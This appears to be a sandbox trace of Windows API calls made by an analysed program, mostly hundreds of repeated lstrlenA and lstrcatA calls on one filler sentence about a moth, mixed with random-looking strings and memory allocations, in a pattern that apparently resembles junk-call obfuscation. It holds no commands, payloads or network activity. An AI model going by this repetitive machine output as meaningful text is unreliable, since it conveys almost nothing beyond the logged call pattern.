[0048.747] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x6931a8
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="ZSH7T7VQQQO") returned 11
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="ZSH7T7VQQQO") returned 11
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="ZSH7T7VQQQO") returned 11
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.748] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="ZSH7T7VQQQO") returned 11
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="ZSH7T7VQQQO") returned 11
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="ZSH7T7VQQQO") returned 11
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="ZSH7T7VQQQO") returned 11
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="ZSH7T7VQQQO") returned 11
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="ZSH7T7VQQQO") returned 11
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="ZSH7T7VQQQO") returned 11
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="ZSH7T7VQQQO") returned 11
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] LocalAlloc (uFlags=0x40, uBytes=0x17) returned 0x6c6f38
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.749] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.750] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="FSY0NFVB6HG5FQPAR0A04P") returned 22
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] LocalAlloc (uFlags=0x40, uBytes=0x7) returned 0x68f298
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.751] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="TIJZ79") returned 6
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="TIJZ79") returned 6
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="TIJZ79") returned 6
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="TIJZ79") returned 6
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="TIJZ79") returned 6
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="TIJZ79") returned 6
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x6930e8
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.752] lstrlenA (lpString="B61T0LKN") returned 8
[0048.752] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.753] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.753] lstrlenA (lpString="B61T0LKN") returned 8
[0048.753] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.753] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.753] lstrlenA (lpString="B61T0LKN") returned 8
[0048.753] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.753] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.753] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.753] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.753] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.753] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.753] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.753] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.753] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.753] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.753] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.754] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
